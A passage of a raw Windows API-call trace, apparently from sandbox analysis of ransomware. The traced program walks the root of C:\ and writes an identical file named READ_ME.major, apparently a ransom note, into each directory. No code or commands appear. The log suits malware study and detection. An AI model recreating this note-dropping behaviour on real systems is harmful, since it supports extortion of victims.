[0106.068] GetLastError () returned 0x57 [0106.068] SetLastError (dwErrCode=0x57) [0106.068] GetLastError () returned 0x57 [0106.068] SetLastError (dwErrCode=0x57) [0106.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x4) returned 0x59d240 [0106.068] GetLastError () returned 0x57 [0106.068] SetLastError (dwErrCode=0x57) [0106.068] GetLastError () returned 0x57 [0106.069] SetLastError (dwErrCode=0x57) [0106.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0xb8) returned 0x5b9e80 [0106.069] GetLastError () returned 0x57 [0106.069] SetLastError (dwErrCode=0x57) [0106.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6a6) returned 0x5c6fa0 [0106.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fa0 | out: hHeap=0x570000) returned 1 [0106.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0106.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ba180 | out: hHeap=0x570000) returned 1 [0106.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0106.069] GetLastError () returned 0x57 [0106.069] SetLastError (dwErrCode=0x57) [0106.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x6) returned 0x59d280 [0106.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1a0 | out: hHeap=0x570000) returned 1 [0106.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0106.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2b0 [0106.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d360 [0106.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0d48 [0106.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0c30 [0106.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0ca8 [0106.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0ca8 | out: hHeap=0x570000) returned 1 [0106.070] FindFirstFileW (in: lpFileName="\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffffe, dwReserved1=0x73ca443f, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x5a2710 [0106.070] GetLastError () returned 0x57 [0106.070] GetProcAddress (hModule=0x74ea0000, lpProcName="FlsGetValue") returned 0x74f870c0 [0106.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x8, Size=0x28) returned 0x5c1858 [0106.070] SetLastError (dwErrCode=0x57) [0106.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.070] GetLastError () returned 0x57 [0106.070] SetLastError (dwErrCode=0x57) [0106.070] GetLastError () returned 0x57 [0106.070] SetLastError (dwErrCode=0x57) [0106.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0cf8 [0106.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0ca8 [0106.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0cf8 | out: hHeap=0x570000) returned 1 [0106.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0ca8 | out: hHeap=0x570000) returned 1 [0106.070] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0ca8 [0106.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0cf8 [0106.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0106.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d260 [0106.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0106.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x583b98 [0106.071] GetLastError () returned 0x57 [0106.071] SetLastError (dwErrCode=0x57) [0106.071] GetLastError () returned 0x57 [0106.071] SetLastError (dwErrCode=0x57) [0106.071] GetLastError () returned 0x57 [0106.071] SetLastError (dwErrCode=0x57) [0106.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d98 [0106.071] CreateFileW (lpFileName="\\$GetCurrent\\READ_ME.major" (normalized: "c:\\$getcurrent\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.130] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d98 | out: hHeap=0x570000) returned 1 [0106.130] WriteFile (in: hFile=0x448, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0106.131] CloseHandle (hObject=0x448) returned 1 [0106.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x583b98 | out: hHeap=0x570000) returned 1 [0106.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0106.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d260 | out: hHeap=0x570000) returned 1 [0106.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1090 | out: hHeap=0x570000) returned 1 [0106.132] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffffe, dwReserved1=0x73ca443f, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0106.132] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.132] GetLastError () returned 0x0 [0106.132] SetLastError (dwErrCode=0x0) [0106.132] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x583b98 [0106.132] GetLastError () returned 0x0 [0106.132] SetLastError (dwErrCode=0x0) [0106.132] GetLastError () returned 0x0 [0106.132] SetLastError (dwErrCode=0x0) [0106.132] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c12e8 [0106.132] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0106.133] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c12e8 | out: hHeap=0x570000) returned 1 [0106.133] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0106.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1108 [0106.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1040 [0106.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11f8 [0106.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2d0 [0106.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0106.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.133] GetLastError () returned 0x0 [0106.133] SetLastError (dwErrCode=0x0) [0106.133] GetLastError () returned 0x0 [0106.133] SetLastError (dwErrCode=0x0) [0106.133] GetLastError () returned 0x0 [0106.133] SetLastError (dwErrCode=0x0) [0106.133] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0106.134] CreateFileW (lpFileName="\\$Recycle.Bin\\READ_ME.major" (normalized: "c:\\$recycle.bin\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.236] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0106.236] WriteFile (in: hFile=0x448, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0106.237] CloseHandle (hObject=0x448) returned 1 [0106.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0106.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2d0 | out: hHeap=0x570000) returned 1 [0106.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11f8 | out: hHeap=0x570000) returned 1 [0106.237] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffffe, dwReserved1=0x73ca443f, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0106.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x583b98 | out: hHeap=0x570000) returned 1 [0106.237] GetLastError () returned 0x0 [0106.237] SetLastError (dwErrCode=0x0) [0106.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.237] GetLastError () returned 0x0 [0106.237] SetLastError (dwErrCode=0x0) [0106.237] GetLastError () returned 0x0 [0106.237] SetLastError (dwErrCode=0x0) [0106.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x583b98 [0106.237] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x583b98 | out: hHeap=0x570000) returned 1 [0106.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x583b98 [0106.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0106.237] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x585250 [0106.237] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffffe, dwReserved1=0x73ca443f, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0106.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.238] GetLastError () returned 0x0 [0106.238] SetLastError (dwErrCode=0x0) [0106.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.238] GetLastError () returned 0x0 [0106.238] SetLastError (dwErrCode=0x0) [0106.238] GetLastError () returned 0x0 [0106.238] SetLastError (dwErrCode=0x0) [0106.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0106.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0106.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0106.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0106.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0106.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1130 [0106.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0106.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0106.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0106.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0106.238] GetLastError () returned 0x0 [0106.238] SetLastError (dwErrCode=0x0) [0106.238] GetLastError () returned 0x0 [0106.238] SetLastError (dwErrCode=0x0) [0106.238] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0106.238] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0106.238] GetLastError () returned 0x0 [0106.239] SetLastError (dwErrCode=0x0) [0106.239] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0106.239] CreateFileW (lpFileName="\\588bce7c90097ed212\\READ_ME.major" (normalized: "c:\\588bce7c90097ed212\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0106.279] WriteFile (in: hFile=0x448, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0106.280] CloseHandle (hObject=0x448) returned 1 [0106.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0106.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0106.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0106.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0106.281] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffffe, dwReserved1=0x73ca443f, cFileName="Boot", cAlternateFileName="")) returned 1 [0106.281] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.281] GetLastError () returned 0x0 [0106.281] SetLastError (dwErrCode=0x0) [0106.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.281] GetLastError () returned 0x0 [0106.281] SetLastError (dwErrCode=0x0) [0106.281] GetLastError () returned 0x0 [0106.281] SetLastError (dwErrCode=0x0) [0106.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11a8 [0106.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0106.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0106.281] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79a8 [0106.282] GetLastError () returned 0x0 [0106.282] SetLastError (dwErrCode=0x0) [0106.282] GetLastError () returned 0x0 [0106.282] SetLastError (dwErrCode=0x0) [0106.282] GetLastError () returned 0x0 [0106.282] SetLastError (dwErrCode=0x0) [0106.282] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0106.282] CreateFileW (lpFileName="\\Boot\\READ_ME.major" (normalized: "c:\\boot\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.304] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0106.304] WriteFile (in: hFile=0x448, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0106.305] CloseHandle (hObject=0x448) returned 1 [0106.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79a8 | out: hHeap=0x570000) returned 1 [0106.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0106.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0106.305] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0xfffffffe, dwReserved1=0x73ca443f, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0106.305] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.305] GetLastError () returned 0x0 [0106.305] SetLastError (dwErrCode=0x0) [0106.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.305] GetLastError () returned 0x0 [0106.305] SetLastError (dwErrCode=0x0) [0106.305] GetLastError () returned 0x0 [0106.305] SetLastError (dwErrCode=0x0) [0106.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1220 [0106.305] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5850f0 [0106.305] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1, dwReserved0=0xfffffffe, dwReserved1=0x73ca443f, cFileName="BOOTNXT", cAlternateFileName="")) returned 1 [0106.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.306] GetLastError () returned 0x0 [0106.306] SetLastError (dwErrCode=0x0) [0106.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.306] GetLastError () returned 0x0 [0106.306] SetLastError (dwErrCode=0x0) [0106.306] GetLastError () returned 0x0 [0106.306] SetLastError (dwErrCode=0x0) [0106.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1270 [0106.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5852f0 [0106.306] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xfffffffe, dwReserved1=0x73ca443f, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0106.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.306] GetLastError () returned 0x0 [0106.306] SetLastError (dwErrCode=0x0) [0106.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.306] GetLastError () returned 0x0 [0106.306] SetLastError (dwErrCode=0x0) [0106.306] GetLastError () returned 0x0 [0106.306] SetLastError (dwErrCode=0x0) [0106.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10e0 [0106.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10e0 | out: hHeap=0x570000) returned 1 [0106.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0106.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x585350 [0106.306] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0xe99f01ae, ftCreationTime.dwHighDateTime=0x1d32708, ftLastAccessTime.dwLowDateTime=0xe99f01ae, ftLastAccessTime.dwHighDateTime=0x1d32708, ftLastWriteTime.dwLowDateTime=0xe99f01ae, ftLastWriteTime.dwHighDateTime=0x1d32708, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0106.306] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.306] GetLastError () returned 0x0 [0106.306] SetLastError (dwErrCode=0x0) [0106.306] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.306] GetLastError () returned 0x0 [0106.306] SetLastError (dwErrCode=0x0) [0106.306] GetLastError () returned 0x0 [0106.306] SetLastError (dwErrCode=0x0) [0106.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0106.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0106.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0106.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0106.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0106.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1090 [0106.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0106.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0106.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0106.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0106.307] GetLastError () returned 0x0 [0106.307] SetLastError (dwErrCode=0x0) [0106.307] GetLastError () returned 0x0 [0106.307] SetLastError (dwErrCode=0x0) [0106.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0106.307] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0106.307] GetLastError () returned 0x0 [0106.307] SetLastError (dwErrCode=0x0) [0106.307] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0106.307] CreateFileW (lpFileName="\\Documents and Settings\\READ_ME.major" (normalized: "c:\\documents and settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.346] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0106.346] WriteFile (in: hFile=0x448, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0106.347] CloseHandle (hObject=0x448) returned 1 [0106.348] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0106.348] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0106.348] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0106.348] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0106.348] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ESD", cAlternateFileName="")) returned 1 [0106.348] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.348] GetLastError () returned 0x0 [0106.348] SetLastError (dwErrCode=0x0) [0106.348] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.348] GetLastError () returned 0x0 [0106.348] SetLastError (dwErrCode=0x0) [0106.348] GetLastError () returned 0x0 [0106.348] SetLastError (dwErrCode=0x0) [0106.348] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0106.348] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0106.348] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0106.348] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c78d0 [0106.348] GetLastError () returned 0x0 [0106.348] SetLastError (dwErrCode=0x0) [0106.348] GetLastError () returned 0x0 [0106.348] SetLastError (dwErrCode=0x0) [0106.348] GetLastError () returned 0x0 [0106.348] SetLastError (dwErrCode=0x0) [0106.349] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0106.349] CreateFileW (lpFileName="\\ESD\\READ_ME.major" (normalized: "c:\\esd\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, 